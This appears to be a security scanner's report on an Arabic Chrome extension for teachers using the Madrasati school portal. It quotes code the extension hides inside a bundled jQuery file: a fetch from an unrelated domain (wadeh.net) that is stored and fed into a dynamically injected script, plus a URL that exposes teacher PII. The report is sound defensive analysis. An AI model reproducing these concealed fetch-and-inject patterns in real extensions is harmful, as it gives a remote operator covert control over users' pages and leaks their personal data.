Security Warning: High Security Risk
تحضيري
ID: iclelabpkphlfifajflffldnlffhnigl
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- tahdiri.comView Profile
- Privacy
- Privacy Policy
- Help
- Help Center
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
تبسيط تعديل واعداد الحصص للمعلم
اضافة مهمة لدعم المعلمين في انجاز مهامهم اليومية بضغطة زر واحدة 1- اضافة مساعدة للمعلم في تحضر الدروس في جدول منصة مدرستي 2- المساعدة في اضافة الواجبات والاثراءات من منصة عين الى دروسك بشكل سريع وسهل ----------------------------------------------------------------- 3- يمكنك حفظ تحضير واستيراده في درس اخر بدلا من ان تكرر كتابة نفس التحضير لنفس الدرس لفصول متعددة ---------------------------------------------------------------- 4- تساعد الاضافة في تحضير حصص الاسبوع بشكل سريع وواضح 5- تمكنك الاضافة من وضع بيانات واثراءات معتمدة على الدرس المختار حيث تضع رابط الاثراء رابط شرح الدرس على منصة عين او رابط شرحه على اليوتيوب. ------------------------------------------------------------- 6- تساعد الاضافة في تغيير مسار الدرس ومن ثم تقوم بدعمك في تحضير الدرس بناءا على المسار المختار 7- يمكنك تغيير التحضير قبل الحفظ ----------------------------------------------------------- 8- لا تحتاج الاضافة الى اي كلمات مرور او حسابات 9- لا تقوم الاضافة بترحيل اي بيانات خارج جهاز المستخدم ---------------------------------------------------------- برمجة وتصميم : مؤسسة تحضيري لتصميم نظم الحاسب الآلي التعليمية والتدريبية مكة المكرمة 0542946749
At the top of the bundled jQuery file (running on every page under schools.madrasati.sa at document_start) the extension silently fetches data from an unrelated third-party domain wadeh.net (not the extension's own tahdiri.com backend) and persists the JSON response in chrome.storage.local under an obscure key 'qqw'. The call is inserted inline into what is otherwise a stock jQuery 3.6.1 library and uses bracket-notation property access throughout the file (e.g., chrome['storage']['local']) to blend with surrounding obfuscated code, making the exfiltration/C2 channel harder to spot during review.
fetch('https://wadeh.net/ta1.php')['then'](cF => { return cF['json']();})['then'](cF => { chrome['storage']['local']['set']({ 'qqw': JSON['stringify'](cF) })['then'](() => {});});The data fetched from wadeh.net is read back from chrome.storage.local and concatenated unescaped into the src URL of a dynamically created <script> element pointing at the extension-bundled myscript2.js. The injected script reads the query string ('?a=' + remote payload) at runtime, giving the operator of wadeh.net a server-controlled channel to influence in-page behavior on the Saudi Ministry of Education school portal (schools.madrasati.sa). Combined with the document_start injection point, this is a remotely steerable code path that bypasses normal extension review.
function injectCode(a) { var b = document['createElement']('script'); b['src'] = a, b['onload'] = function() { this['remove'](); }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => { a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[ 'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));The contentScript2.js (4219 lines, injected on every schools.madrasati.sa page) is a copy of jQuery + base64 helpers heavily transformed with bracket-notation property access, hex numeric literals (0x0, 0x1), and \x20-escaped strings throughout. That style is consistent with running stock libraries through a string-array/property-renaming obfuscator, and here it has the effect of camouflaging the wadeh.net fetch and the dynamic <script> injector at lines 58 and 4211–4219 inside ~4200 lines of unrelated library code.
! function(a, b) { 'use strict'; 'object' == typeof module && 'object' == typeof module['exports'] ? module['exports'] = a['document'] ? b(a, !0x0) : function(c) { if (!c['document']) throw new Error('jQuery\x20requires\x20a\x20window\x20with\x20a\x20document'); return b(c); } : b(a);}('undefined' != typeof window ? window : this, function(a0, a1) {Teacher PII (email, full name, phone number) read from localStorage is concatenated directly into a URL path and used to navigate the user to tahdiri.com. Even though tahdiri.com is the extension's own backend (matching the extension's Arabic name تحضيري), placing identifying data in URL path segments leaks it into browser history, HTTP access logs, Referer headers, and any upstream proxy/CDN logs — a poor practice for handling personal data.
`https://tahdiri.com/addpackage/${localStorage.getItem("email")}/${localStorage.getItem("name")}/${localStorage.getItem("phone_teacher")}`)By severity
Versions scanned
Showing 7 of 79 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 9.9.28 | 4 |
| 9.9.26 | 4 |
| 9.9.25 | 7 |
| 9.9.16 | 5 |
| 9.9.13 | 6 |
| 9.9.12 | 7 |
| 9.9.9 | 4 |
Files with findings
6 distinct paths — top paths by unique finding count:
- contentScript2.js17
- Sscript3.js8
- rule.json4
- Sscript.js4
- Sscript2.js3
- contentScript4.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.